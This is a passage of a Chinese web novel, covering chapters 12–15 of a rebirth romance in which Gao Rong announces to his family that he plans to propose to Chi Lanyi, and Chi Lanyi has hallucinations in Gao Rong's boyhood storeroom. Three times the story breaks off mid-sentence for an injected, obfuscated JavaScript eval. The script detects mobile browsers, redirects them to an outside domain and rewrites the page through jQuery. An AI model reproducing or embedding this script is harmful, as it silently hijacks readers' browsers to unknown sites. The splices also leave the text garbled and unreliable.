想要让助理临时搞到一套池兰倚和他初见时穿的那套衣服,难度并不大。 高嵘想。 尽管品牌不明,但还好高嵘把衣服的细节都记得非常清晰。他在池兰倚起床之前花了点时间,打回了八件颜色差了一点点的毛衣,五件细节不同的牛仔裤。 他想看池兰倚打开衣柜,只看见那套衣服时的、暴露自己的表情。 一个伪装者,忽然看见了戳破自己伪装的罪证,会露出什么样的神态呢? 高嵘往后靠了靠,他看着池兰倚打开第一扇柜门,又打开第二扇。这两间里都是空空如也。 想来这辈子,池兰倚还没穿过这么差的衣服……高嵘心想。 他忽然想起,前世池兰倚曾经开玩笑地和他说,池兰倚最潦倒时买的牛仔裤竟然会染色。只要穿一会儿,蓝黑的颜色就会染到大腿上,要花好久才能洗干净。 尽管池兰倚还没打开第三扇柜门。高嵘却不自觉地坐直了起来。 他心里忽然有了一种怅然若失的感觉。池兰倚这辈子何尝有过得这么落魄过。池兰倚的腿上再也没有沾过裤子掉色的颜料,也没有徒劳往返寻找投资人时留下的伤疤。 但他给池兰倚找的这条牛仔裤……也会掉色吗? 会掉到池兰倚的腿上吗? 高嵘的脚下动了动,他有点忍不住,想要站起来。然而就在这时,监控摄像头里的池兰倚重重地叹了口气。 池兰倚皱着眉,看着两个空荡荡的柜子。他像是很不耐烦似的,在地上跺了跺脚。 随后,他转向床上,把床单扯了下来。 他披着床单,裸着一双腿,大摇大摆地走出了房门。 12.怪异 池兰倚刚走到门外就停住了。 门外的走廊上空空荡荡的,居然一个仆人都没有。 高嵘家仆人可没有这样的工作态度。 池兰倚还记得自己第一次去高嵘家、和他的母亲见面时的场景。偌大的庄园里,所有人都安安静静、各司其职。池兰倚去花园里逛逛,就会不知来自何处的人主动出来,为他递上暖手的火炉。吃饭时,这些人恭敬地站在角落的阴影里,等候召令的模样,也让他印象深刻。 而高嵘的父母显然已经习惯了这些顺服如影子般的仆人们的存在。他们甚至都不用发出自己的指令,只需要一个眼神,仆人们就知道他们想做什么。 无论它的花园被修剪得多么精美,无论它的走廊里有多少价值连城的藏品,它都是一座森严的宅邸。 就像他们这些人一样。 走出这条走廊、或者叫大声些,或许会有人听见动静过来。 但池兰倚没这么做。 他在开门后就站在门前,一动也不动,不去找人,也不大叫。即使窗外的冷风正吹在他光裸的腿上。 出风口的声音就在这时忽然变大了,有热风大量吹出,气温上升了好几度。 在看见高嵘从走廊的尽头快步走出来后,池兰倚终于开口了:“我还以为我要在这里站半个小时呢。” 一夜过去,风雨停歇。窗外阳光落在西装上时,高嵘仿佛又恢复了平日里的模样。他稳重平和,器宇不凡,虽在快走,依然是好一派成功人士的模样。 池兰倚肩膀靠在门框上,姿态闲适,堪称优雅,甚至唇角还微微勾着。和高嵘比起来,好像找不到衣服的他才是那个无所谓的人。 “池兰倚。”高嵘说。 “我的衣服呢?”池兰倚却没接他的话。 高嵘看了一眼身后。端着衣服的几个仆人跟着他匆匆地跑了过来。 池兰倚挑了挑眉。他转身进房间,自如地在沙发上坐下。在这些仆人把衣服放进房间的桌子上后,高嵘就让他们离开了。 “你不让他们把床单铺好么。”池兰倚说。 他指着被自己随手仍在地上的床单。池兰倚刚进屋,就像扔掉一件垃圾一样把它扔在地上了。 “一会儿再让他们进来。”高嵘道,他瞥了一眼打开却空空荡荡的两个衣柜,“我先给你穿衣服。” 他拿起一件衬衫,池兰倚却忽然用力,把衣服从他的手里扯了过去。 “不用。”池兰倚冷冷地说,“我自己穿。” 他大大的眼睛看着高嵘,明明是坐在下位仰视,可那双眼里都是不容拒绝的不悦。他抓得也很用力,衬衫上被抓住几道褶皱。 “你这样抓,衣服上会有褶皱的。”高嵘平静地说。 池兰倚抓得更用力了,他说:“那又怎么了。” 高嵘松开了手:“好吧,你自己穿。” 他看着池兰倚在沙发上扣扣子,非常清楚池兰倚不高兴了。池兰倚这两年被高嵘养得越发懒惰了。自从有一次晚上折腾狠了,第二天高嵘帮他穿好系带衬衫,抱着他出门以能赶上下午的会议后,池兰倚连穿纽扣衬衫都懒得自己系扣子了。 只要前一天晚上做过,他就会第二天很自然地伸手,让高嵘帮他穿衣服。 池兰倚不高兴的原因很清晰。他一觉醒来没有找到自己,电话也打不通,由于在生活上很没有耐心,他开了两道衣柜门就不耐烦了,于是没有找到高嵘故意留下试探的那套衣服。 池兰倚很在乎出现在外人面前时的仪态,他不可能真的披着床单,满大楼去晃去找一个能给他衣服的仆人。所以池兰倚披床单的意思很明确。 他就是在告诉高嵘,他在摆烂,而且要高嵘看清楚,是高嵘害得自己可能被迫用这样狼狈的姿态,在走廊里晃来晃去。而这一切都是高嵘不接电话、不等他醒来、不给他准备好衣服导致的。 尽管池兰倚实际不可能这么做。所以他只披着床单站在门口等高嵘回来,告诉高嵘他把自己害成了什么样,又像威胁,又像撒娇。 从报复池兰倚的角度来看,高嵘或许成功了。 但高嵘甚至没时间去为了池兰倚没耐心打开第三个衣柜、害得他计划落空而生气。 他还在想池兰倚露在床单外的那两条光裸的腿。尽管他在进入房间时用身体挡住了那些佣人的视线,但一定还是有人看见了池兰倚的脚踝。 池兰倚的确任性。他没办法怪在他头上。而那些佣人也没有错。 高嵘眼神一暗。 说到底,还是他的计划不够缜密。早知道,他应该自己拿着衣服过来的,哪里用得上两个佣人。 本来复仇之事,也不该假手他人。 就在高嵘思考之际,池兰倚已经穿好了衣服。这是一身很“高嵘”的西装,非常正式,果然是见家长时会有的穿着,估计又是从高嵘家哪个裁缝铺里定制的。 “所以你早上去哪儿了?” 高嵘起身把几个衣柜门关上,又拉开窗帘,让阳光完全透进来:“处理公司的事,顺便给你找身衣服。” 什么公司的事让高嵘大清早的还要出去处理。 从昨天到今天,池兰倚觉得高嵘越来越古怪了。 手机静静地躺在他的腿边。他不免又想到了那些发到他私人手机上的短信。 作为一个名人,池兰倚的邮箱和工作电话里没少收到古怪的骚扰邮件。它们或许是宣称自己有占卜能力的神婆,或许是一些约会邀请,甚至有一些来自池兰倚认识却不太熟的同学或故人。池兰倚这样的人收到这些邮件不奇怪,譬如隔壁佩兰公学的校花,直到毕业数年后,还在持续地收到他的老同学们的“消息”。 但那些短信却不一样,它们是被发到池兰倚的私人手机上的。在圈子里,没有多少人知道他的私人手机号。 更何况,它还提到了一件事。 【高嵘在把你从医院里接回去时,送了你一双新鞋。】 对于那段因大病精神失常的过往,池兰倚讳莫如深,高嵘亦然。他们不希望别的投资人觉得池兰倚是个随时会因为精神问题爆炸的炸/弹。 更何况,还是送鞋这样私密的细节。 这难免让那些神秘短信的话,多了几分似是而非的可信度。 然而。 池兰倚不觉得高嵘有什么理由恨他。 可他自己的头疼,还有高嵘昨晚在他醒来后的行为,今天一大早高嵘没给他准备好换洗衣服就出去工作,都让事情变得越来越怪。 或许他真的应该仔细看看到底是怎么回事。 池兰倚没可能去相信来路不明的短信。他决定多看看高嵘,试探一下高嵘到底有没有背着他在做什么。 “你有点不对劲。”池兰倚说,“有什么事值得你大早上的出去处理?还有,你说早上有个重头戏,重头戏是什么?” 高嵘答非所问:“我帮你把领带系上。” 池兰倚低头看见胸口空荡荡……他忘记系领带了。但看见高嵘手里的东西时,池兰倚一愣。 “这是我大学时画在笔记本里的,你把它做出来了!”他惊喜地说着,又忽然想起了高家那些长辈,“我戴这个去见他们没问题么?” 这枚领带的颜色太跳脱,而且图案也不太合适。 高嵘低着头,反正池兰倚看不见,他就微微勾起唇。 高嵘手指熟练地给他打温莎结:“当然,因为今天是属于我们两个的日子。” “什么?” 池兰倚忽然注意到,高嵘戴着的领带也是自己大学时的设计。他不禁大大地睁开眼,眉毛也扬了起来。他听见高嵘继续说:“因为,我要通知他们,我打算和你订婚了。” “……!” 池兰倚跳了一下。他瞪着高嵘,脸上高兴的神色一瞬间凝固了。 “订、订婚?”他声音有点扭曲。 “对。”高嵘说。 笑容从高嵘脸上消失了。他看着池兰倚,语速忽然变得有点快:“这不是正式的订婚,只是我通知他们,我打算这样做。之后我会再向你求婚的,有私人的,还有公开的订婚仪式……你刚才是误会了,以为我们的订婚仪式很简陋么?” 高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783918|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嵘很难有说话这么快的时候,像是急匆匆地为了避免歧义,马上要把所有的内容都说清楚——从他没有打算忽略求婚,到这只是对高家人的一个通知、避免他们为两人的完美求婚仪式添乱子。 池兰倚还是有点空白。 就这么订婚? 在他们认识了七年,相恋了五年后? “我和你说过的,你答应了我。”高嵘紧紧地盯着他,“就在一周之前,星期三。” 星期三。池兰倚想起来了。那天他去一个聚会,喝了酒,回家的时候晕乎乎的。高嵘抱着他和他说了些东西,他太困了,一个劲地点头,然后就睡着了。 无可否认,五年对于很多情侣来说,是一个很漫长的数字了。他和高嵘相恋了二十岁年代的前半程,事业生活已经交叠得不分你我,别说巫樾,就连讨厌高嵘的方衡也会觉得,他们早就该结婚在一起了。 然而…… “我在想……”池兰倚觉得自己的牙齿和舌头在一起打结,“我觉得我们……” 高嵘沉沉地看着他。 池兰倚以为高嵘会生气,以为高嵘会用他丰富的谈判技巧来说服自己。 可最终,他只听见高嵘说了一句话。 “你答应过的。” 那一霎,辜负了某个人的感觉铺天盖地地涌了上来。 “……你应该在我意识清楚的时候问这件事的。”池兰倚努力别开脑袋,“偏偏是那天……” 于是,他错过了那一刻高嵘的表情变化。 为什么没有在池兰倚清醒的时候问他这件重要的事呢? 高嵘垂眸看着地上沉重的地毯。 ……或许是因为,害怕清醒的池兰倚说出拒绝这件事,高嵘自己也心知肚明吧。 “这只是我给他们的一个通知。当然,在之后的求婚里,你有拒绝的权力。而今天,希望你不要拒绝和我一起去面对我的家人。”高嵘说,“我希望……” 他的喉咙梗了一下,很快,又恢复了淡淡的姿态:“走吧,他们已经等着了,我们一起上楼。” 那只等待池兰倚握的手,就在池兰倚的面前。 池兰倚犹豫了一下。 是的,他答应过的。 既然如此,他就不应该反悔。 他将手放在高嵘的手上。 “我想他们不会高兴的。”池兰倚说。 “那可不一定。”高嵘道。 “你母亲呢?”池兰倚说,“我想她绝对不会高兴。” 他还记得昨晚许幽和他打交道时的姿态。估计迟到了一个晚上,她看他会更有一种瞧褒姒的意味。 “那可说不定。”高嵘说。 “……” 一言一语中,池兰倚快被情绪的漩涡淹没了。 他怎么能在意识不清楚时答应这样的“求婚申请”呢?这对于高嵘来说太不公平了。 而此刻,高嵘瞥了一眼池兰倚。后者垂着头,明显心情复杂。 池兰倚这时候,在想什么呢? 拒绝?后悔?觉得自己被算计了? 他握着池兰倚的手骤然间紧了紧,不知道是因为他想让池兰倚痛,还是,他自己太痛了。 既然池兰倚这样犹豫,既然池兰倚不敢面对他的家人,那,他高嵘就偏要做完池兰倚不敢做的事。 求婚的事,他要一个人做,说服家人的事,他要一个人来。 池兰倚连插嘴的机会都不会有。 他们一起来到四楼。高家的父母和几位老人已经在那里等着了。在看见池兰倚时,坐在一侧的一个老人重重地哼了一声。 高嵘如没看到般,带着池兰倚在首座坐下。面对众人,他缓缓道:“我今天请大家来这里,是为了一件重要的事。” “那就是,我决定向池兰倚求婚。” 所有人的目光在此刻都固定到了池兰倚的身上。尤其是许幽的。 这本该让人如芒在背。 但池兰倚发现,许幽看自己的眼神失去了往日里绵里藏刀的敌意。 反而有种说不清道不明的味道。 13.少年时的房间 许幽的变化是怎么回事? 池兰倚回想这个晚上发生的一切,没找出任何会让许幽对自己的印象变好的可能。 而且,许幽如今看他的眼神也并非善意,而是一种神秘的打量。 “……” 面对众人,池兰倚想把手收回来,可高嵘紧紧地抓着他的手,让他没有动作的机会。 高嵘的手很紧,很快,池兰倚的手心开始出汗。 四楼的阳光透过玻璃,照到池兰倚的脸上,被高家所有人齐刷刷地看着,池兰倚渐渐有一种被太阳过度照射、开始眩晕的感觉。 “决定向他求婚?不是打算订婚么?”有人捉到了这一古怪的点。 “是。”高嵘毫不避讳道,“我的订婚能不能成功,主要要看我身边的我的爱人会怎样回答。” 他看向池兰倚:“当然,他不用很快给出回答。他可以有充分的时间考虑,打算什么时候和我结婚。” “你这……简直是瞎胡闹。”有人又急又气,“和一个男人谈恋爱也就算了,甚至在订婚还没有板上钉钉的时候,把我们叫到一起。” “高嵘,你是高家的家主。你做决定不仅影响的是你自己,还有整个高家,和未来的高家。” 说出这句话的是一名威严的老年男人。他强势地看着二人。 他便是高嵘的父亲,高平晟。 “我并不是来请求你们的同意的。我已经下定决心,无论你们的决定是什么。当然,无论池兰倚的决定是什么,我都会一直等他。”面对高平晟的强势,高嵘只是淡淡地说话,有如四两拨千斤,“我希望我和池兰倚接下来的生活不会遇见任何麻烦。如果我们遇到麻烦,那么大家都会变得麻烦。” “你!” 高平晟知道,尽管他的儿子还年轻,但他已经没有能力去命令他的儿子改变行为了。 他的儿子高嵘,曾经像每一个老钱家族的后代一样,比起强大勃发的野心更讲究上流体面的生活。高嵘会创立几个基金、投资一些公司或非盈利组织、资助一些实验室,用它们的成就给自己镀上一层金边的同时也收获不菲的回报。他会创业,但会在父母的荫庇之下发展人脉,很容易就能做出轻松的成绩,然后被圈子里的人称为“有为青年”。 除此之外,他喜欢度假,滑雪,冲浪,玩超跑,坐飞机去家里的酒庄里喝一杯,带着特制的镜头去海底洞穴拍些照片。高嵘没有对性表现出强烈的需求,这很好,说明他洁身自好,又很挑剔。这可以帮他减少一些不必要的花边新闻,或者如果他想从政的话,一个和妻子“从一而终”的幸福家庭也能让他在民众眼中更完美。 健康、惬意、舒适,在高平晟退下来时再掌握家里的大权——这些才是高嵘在他的人生里应该干的事。 然而从十年前开始,高嵘突然变了。他变得强势、偏执,对权力有着超乎寻常的渴望。这对于一个生来就能被满足所有欲望的人来说,简直是不符合常理的。 他像是和撒旦做了交易一样,连续踩中了所有的风口,所有的暗坑被他一一避过,甚至反手让自己的敌人倒台。高家的产业一时间膨胀到无与伦比的地位,就连当年与高家并驾齐驱、让高平晟有联姻想法的孟家也再也不及。高平晟再也无法维持自己在高家的地位,他将家主戒指交给了自己年轻的儿子。 他猜测,高嵘或许是想要干涉政治了。然而高嵘就在这时做了个让所有人大跌眼镜的行为。 他高调地和一名新锐设计师在一起了,一个男人。 满城风雨,人尽皆知。高平晟等人都知道,这一定是高嵘故意的。因为只要高嵘不想,那些报纸连新闻都发不出去。 如果高嵘想要从政的话,这简直是自毁前路——无论那名设计师本人是有多么优秀。 而现在,高嵘竟然丧心病狂地还想和他结婚。 高平晟很少有这么愤怒的时候了。他指责高嵘,认为对方完全没把自己放在眼里。其余高家长辈也七嘴八舌,对高嵘的行为指指点点,想要借机把高嵘的气势压下去。 直到一个清冷的声音响了起来:“够了。” 所有人都闭住了嘴。高平晟震惊地看着自己的结发妻子,他张口说了一句话,许幽坐在那里,又冷冷地道:“高平晟,不要再说下去了。” “我想高嵘有自己的想法。”她说,“这些年来,他一直在做正确的事情,他的能力超出你我,不是吗?” 高平晟噎了一下。他看向高嵘,又看向自己的妻子,不敢相信昨天还和自己站在同一战线的妻子竟然改变了自己的想法。 但他更惊讶地发现,许幽在说话时,看着的竟然不是他们的儿子高嵘。 而是坐在高嵘身边的池兰倚。 一时间,在全场之中,仿佛只有如局外之人般的池兰倚才是许幽的视觉焦点。 “我花了一个晚上看池兰倚的档案。他非常优秀,如今,他只是太年轻了,还没有足够的时间来证明自己。可我能看出来,他的未来不可限量——虽然和高家的业务毫无关联。”许幽说,“至于高嵘……我想你应该是有自己的计划的吧?” 池兰倚没想到许幽竟然给自己这样的评价。他愣了一下。 而许幽在此刻看向了她的儿子,高嵘。 她的眼里依旧有探寻和非常强烈的、埋在深处的疑惑。面对这样的眼神,高嵘只是淡淡地挪开了眼睛。 “看来各位已经接受了我的决定。”他说,“那么今天就到此为止吧。” 众人一滞。随即,他们也明白事无转圜。 直到人群中,有人开口:“高嵘,你打算怎么签订婚前财产协议?” 众人向他的方向看去。那是高嵘的叔叔高平成,正是整个家族里众所周知的、最激烈反对高嵘和池兰倚的关系的人。 池兰倚觉得心脏跳得很厉害。他实在难以忍受被这些人的目光注视了,于是开口说:“你们的东西,我一分都不会……” 高嵘眸光微动。 池兰倚不想和他有更多交缠。 池兰倚越要做一个独立的人,他就偏不让他如意。 “不用签。” 高嵘用力地握住了他的手,几乎要把他的手背握出印子来:“我说,不用签。” “……” 池兰倚震惊地看向高嵘。与此同时,长桌另一侧,许幽也震惊地看着他们。 她的眼珠都要掉出来了。 而面对池兰倚的震惊,高嵘终于又能微微勾起唇角。 如最终的胜利者。 …… 人稀稀拉拉地走了。高父高平晟仍然在桌子的一侧,沉沉地生着闷气。许幽走过来看了一眼池兰倚,又深深地看向高嵘。 “爸爸妈妈想和你单独谈谈,可以么?”她柔和地说。 柔软的称呼,让一切好似家事。 “没什么是不需要当着池兰倚的面谈的。”高嵘道。 他偏要池兰倚面对他的父母,开诚布公。 可这次,他手掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785041|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的手却爆发出巨大的力气,挣脱开了他。 “不用了,请你们单独谈吧。”池兰倚低着头,匆匆地说,“我去外面休息。” 这个屋子里的阳光照得他脑袋发晕。他在高嵘开口之前就已经匆匆而去了。 高嵘看着他落荒而逃般的身影,唇角完全地撇了下去。在片刻的阴郁后,他瞥向了自己的手机。 他今天,是不是刺激他过头了? 闭了闭眼,在睁开时,高嵘已经是平和的状态。 他看向许幽:“母亲,您有什么想和我单独说的吗?” 许幽看着他,欲言又止。最终,她低声开口了: “儿子,这一切也是你计划的一部分吗?” …… 池兰倚在走廊里匆匆忙忙地走。他脑袋乱得像一团麻花一样,从四楼跑到三楼,脑袋里全是刚才的一切。 高嵘要和他结婚。 还不要签订婚前协议。 高家那庞大恐怖的资产,他是知道的。即使是高家一个旁系子弟想要结婚,也会有许多人打破了脑袋都想扑上去。 更不要说是高嵘了。 但池兰倚从来没有想过自己会和一个人结婚……少年时,他最好的朋友曾经开玩笑地问过这个话题。他记得自己那时是这样说的。 “我不知道……我没想过会和谁能长久地在一起。比起定居,我或许更想四海为家,或者住在下过雨的森林里。” 他坐在草地上,翻着诗集,这样说。 世上许多人都会觉得,被高嵘爱上是池兰倚的幸运,更何况是结婚。可池兰倚却觉得,高嵘仿佛生拉硬拽着要让他步入婚姻一样。就像他们初次见面后,高嵘就不断地出现在他的生活里,各种阴差阳错,仿佛天赐良缘。 这样滔天的馅饼砸下来,又有谁会觉得高嵘不爱他。 如果换成是其他人的话,那个人一定会这样想的。 可他就在半个小时前,还在怀疑高嵘。 而且,他竟然以那样迷迷糊糊的姿态,简单地接受了高嵘关于求婚的“不平等条例”。 和高家那么多人对峙,高嵘获得的,竟然只是一个和自己求婚的许可……那种强烈的愧疚感,几乎要把他淹没了。 “……” 池兰倚忽然发现自己走过界了。 他没有从原本的楼梯下去,而是在这座巨大的庄园里迷路了……如今他好像从A座走到了B座。这片区域正在被修缮,很多设备都在被翻新,因此没有开放。 池兰倚望向窗外白天平静的湖水。他想起来了,之前高嵘和他说过,这座庄园是高嵘少年时经常暑期休假的地方,他的房间里留下了很多少年时的回忆,至今都保持着原样。 而高嵘的房间,就在B座三楼,和A座三楼的房间对称的位置。 池兰倚此刻就站在B座三楼的房间前。这里,他从来没进去过。 可他站在那里,眼前的红木房门,却给他带来一种恍惚的熟悉感。 仿佛,他曾来过那里似的。 在手落在门把手上的那一刻,池兰倚忽然意识到了,自己那种极其复杂的愧疚感,是因何如此铺天盖地。 是因为。 ——即使,高嵘做到如此。 ——他的心中还是有强烈的,对高嵘的不解和怀疑。 除此之外,还有另一种没有缘由的愧疚,如此强烈,强烈到池兰倚不敢细思的程度。 一旦细思,一切都会玉石俱焚。 14.秘密基地 “吱嘎。” 随着开门的声音,埋藏在池兰倚脑海里的某处,奇怪地动了一下。 出现在他眼前的,是一间昏暗的房间。和A座同房型的卧室不同,这里更像是一间书房。木架书柜直立至顶,许多东西被整齐地陈列。庄园里的其他房间都被打扫得很干净,唯独这一间里,或许是因有人向仆人们下过专门的命令。它的地上,竟然积累了一层薄薄的灰尘。 这是一个非常陌生的房间。 他从来没有来过这里,高嵘也从来没有向他提起过它。 可池兰倚伸手,他竟然非常自然地找到了吊灯的开关。 “我怎么会……” 池兰倚难以置信,看着开关上自己的手。 就在他惊诧于自己的反应的同时,他的耳朵里忽然传来了高嵘的声音。 【“我搬家过两次。后来,我把这里当成了我的储藏间。童年时的、少年时的、所有我珍贵的、重要的回忆,都被我存放在这里。”】 池兰倚吓了一跳,他转身看向背后。走廊空无一人。待他回头时,耳畔却传来了另一个声音。 【“所以这里,就像你的秘密基地一样?”】 没人比他更熟悉这个声音。 那是他自己的声音。 眼前昏暗的、拉着窗帘的房间忽然变了一副模样。所有灰尘从花纹繁复的地毯上散去,胡桃木书柜光洁如新,厚重的窗帘被拉开,阳光从外面透射进来,将阔大的房间照得亮堂堂的,窗户之外,是枝繁叶茂的盛夏。 幻觉,又出现了。 池兰倚怔怔地看着眼前的场景。 幻觉里的阳光如此刺眼,而在房间中央的一块白色地毯上,躺着两个人。 一个是穿着衬衫的高嵘。高嵘的衬衫扣子解开了好几颗,领带也扔在旁边,比起如今那个穿着厚重的企业家,更像是一个闲来享受热夏假期的富家公子。 另一个,则是比如今的他看起来年轻了好几岁的自己…… 他比现在的自己看起来羸弱,被挽起的袖子下手臂骨骼突出,小腿上还有几道疤。属于高嵘的外套皱巴巴的,被他垫在身下,活像一团咸菜。 可两人对此都毫不在意。高嵘侧躺着,支着头看他。他手里则拿着一枚足球,正在一下一下地把它往上抛。 足球上写着高嵘最喜欢的几个足球明星的亲笔签名。可高嵘就这样宠溺地、喜悦地看着他。阳光在玻璃上反射,却不如他的眼睛这般闪闪发光。好似在这一片回忆的收藏品中,只有他眼前这个苍白瘦弱的青年,是唯一的太阳。 就像两个无所事事的悠闲少年,在房间里打闹亲热了一阵,玩累了,就一起躺在大宅的地毯上,活像这里是开满矢车菊的草地似的,无拘无束地晒太阳……池兰倚不知不觉地,向着那片幻觉往前走了两步。 对他一见钟情的高嵘是沉郁的、冷静的,在向家族宣布求婚时的高嵘的手是如钳子烙铁般的,紧和热,锢住他,不准他离开。 眼前的这个高嵘,却是放松的、热烈的、像少年一样的。他享受地看着他的池兰倚,就像看着一整个鲜活的、为他打开的世界。 【“更像是一个人的安全屋。”高嵘说,“在这里我什么都不用想,也可以安心地去想对于我来说的重要的、不想忘记的事。在这里,我可以藏起对我来说,我最重要的一切。”】 【“现在你把安全屋分享给我,这里不就不再安全了么?”池兰倚停下抛球的手。他也侧躺过去,看着自己的恋人。】 【“如今属于高嵘的一切,你都看到了。”高嵘伸手去捧对方的脸,“一段在旁人眼里花团锦簇,实则贫乏的、无趣的人生。在遇见你之前,我从来没有真正想过,想去得到什么、想要去做什么样的人。我以为人生最高的追求不过如此,一切触手可及……”】 【池兰倚咯咯地笑起来。他也用手去捧高嵘的脸:“你又要对我唱赞歌了?”】 【“在这片荒芜的原野里,你是唯一的玫瑰。”高嵘说,“从今年开始,我就下定决心,我会帮你走到你想要走到的高度。无论代价是什么。”】 【池兰倚看见年轻的自己有一瞬间的羞赧,但自己的眼睛也在闪闪发光:“我没有想过要获得那么多……我只是想要做我喜欢的事,仅此而已。”】 【高嵘却自信满满地笑了:“不,你会想要的,我的小合伙人。无论你想要什么,我都给得起。我是个成功的商人,可不是某些人那样的艺术家……”】 【“别提他。”池兰倚不高兴地说,“你又吃醋了吗?”】 【池兰倚把身体转到了另一侧去,闭上眼睛,讨厌高嵘又提到了其他人。高嵘见他这样,伸手把他揽到怀里。】 【“我知道你只可能爱我。因为,只有我最合适。只有你配得上我,只有我配得上你。”高嵘自信满满地说,“我们是天造地设的一对。”】 【他眼眸闪亮,信心满满,仿佛这个世界都配被他所得。】 【池兰倚瞥他一眼,还是闭着眼睛。直到高嵘亲吻他的脸颊,他才笑了起来。】 两个人笑闹着滚在一起,彼此亲吻,将外套和领带、还有足球都扔到另一边去。在那铃铛似的笑声之上,二十六岁的池兰倚苍白着脸,站在昏暗的房间里。 那一刻,湿润而无来由的泪意,突然涌上了他的眼底。 池兰倚不自觉地缓缓抬起手。他明明知道眼前出现的是幻觉,却还向着被阳光照射的那一处伸出。 阳光没有穿过他的手。 他的手背苍白、透明。仿佛一个不存在于人世,却窥见了阳间美好瞬间的亡魂。 ‘原来高嵘以前,对于我们的感情这么自信。那时候的他,会绝望地祈求和我订婚、来获得一个承诺吗?’ 忽然,一个想法出现在他的脑海里。 ‘眼前出现的这些,让我昏迷的那些,真的是无来由的幻觉吗?’ 池兰倚手颤了了一下。在那个想法产生的瞬间,他如同被阳光烫到的幽灵似的,一步步地往昏暗的房间里退。 不,他早就看过医生吃过药。眼前出现的一切都是幻觉。他不是游魂,而高嵘也还活着。他可以放心大胆地躺在高嵘怀里,让他把自己养成一个幸福的小怪兽。 世界上哪有什么前世,只有今生。 “呵。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787586|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 忽然间,他听见一声轻轻的叹息。 镜子里照出了池兰倚的影子。影子里的他看起来三十多岁,骨瘦如柴,浑身惨白,看起来命不久矣,眼眶深陷。 比起活着的人类,他更像是一只已经燃尽的游魂。 游魂看着阳光里的两个年轻人。他的眼神好似怀念里,好似歉疚,又好似悲伤。 镜子之外,池兰倚站在那里。他面色红润,身体健康,正处于人生里本该最幸福的二十六岁。然而,镜中所示却如同这具美丽健康的皮囊里,真正活着的,是一个已经历尽沧桑的游魂。 游魂忽然看向自己二十六岁的身体,眼里是巨大的悲伤。 【你为什么不敢面对自己呢?】它说。 池兰倚猛然后退,在踏出那团阳光的同时,身体也撞到了一排书柜上。在巨大的撞击声中,几排相册像是暴雨一般砸到了他的身上。 “碰!” 池兰倚跌坐在地上。幻像终于消失了。镜子里二十六岁的他大口大口喘着气,脸色惨白,惊魂未定。 幻觉,它们都是幻觉。 还好,他又一次地让这些幻觉在他的精神世界里消失了。 他心里闪过逃过一劫似的侥幸,分明异常,却置若罔闻,颤颤巍巍地支撑自己站起来,眼神惊恐地扫视着这个房间。 一定是因为这个房间太奇怪了,他本就敏感的精神才会产生不稳定的幻觉。 这里比起一个书房,更像是一个纪念馆。 一个十六面魔方,一个坏掉的地球仪,一件挂在架子上的、不知道是从哪个海滨小镇里买来的纪念品围巾……这些所有像是一对情侣出门旅行会买回的、普通的东西,好像都会对他带来致命的伤害。 就像是某些过于漫长的、被刻意忘记的回忆,被人强行地从不存在的历史和未来里拉了出来,并且被完整地保存在了这里。 像是在一个人拼命说着忘记的同时,另一个人在说:我不想忘记。 无论……经历过什么。 池兰倚把地上的相册匆匆地捡起来,把它们一本本地塞回柜子里。 他不知道这里是做什么的。可他绝对不要呆在这里。 ——而且,他一定不要让高嵘知道,他来过这里。 他的潜意识这样想着。 直到……他看见了一张照片。 那本相册在摔下时摊开,其中一张照片便明晃晃地出现在了他的眼前。 相片里……是十四岁的他。 十四岁的他抱着诗集,低着头,穿行在紫金公学的学生里,孤独,敏感,格格不入。在他的身侧,乔泽形影不离地跟着,开怀大笑,和他说话。 可在乔泽的那张脸上,被人用水笔狠狠地打了个叉。 那一页的其他照片也是一样。他在吃饭时的,他在图书馆里的,他在琴房里的……不少照片里都有乔泽的身影。 但所有乔泽的脸上,都被打了一个大大的叉。 笔触用力,力透纸背,千刀万剐。 “啪。” 就在此时,屋子里的灯光,亮了起来。 有人按下了开灯的开关。 15.费尽心机 灯光被打开的那一刻,池兰倚有一种自己即将消散的错觉。 就像早已成为幽魂的小美人鱼,浮上海面,在接触到阳光的一瞬间变为泡沫。 然而,并没有。 他面色惨白,站在这里,听见背后传来高嵘的声音。 “我找了你半天,原来你在这里。”外面的声音说,“我忘记了,这次,我还没和你说起过这个地方。” 池兰倚猛然转过身。他看见高嵘靠在门框上,抱着手臂,高大的身体堵住了所有出去的路。 高嵘的眼眸极黑极沉,像是他再也不会有任何情绪了。 他的眼眸,像是一座墓碑。 “所以,你是自己找过来的吗?池兰倚?”高嵘说,“我早就知道,你在听见我求婚后,会有很大的情绪波动。可说实话,就连我也没想到,你竟然会找到这里来。你知道这里是我的安全屋,所以,你想要在这里找到什么?” 他语调不紧不慢,却像是压抑着火焰的冰山。 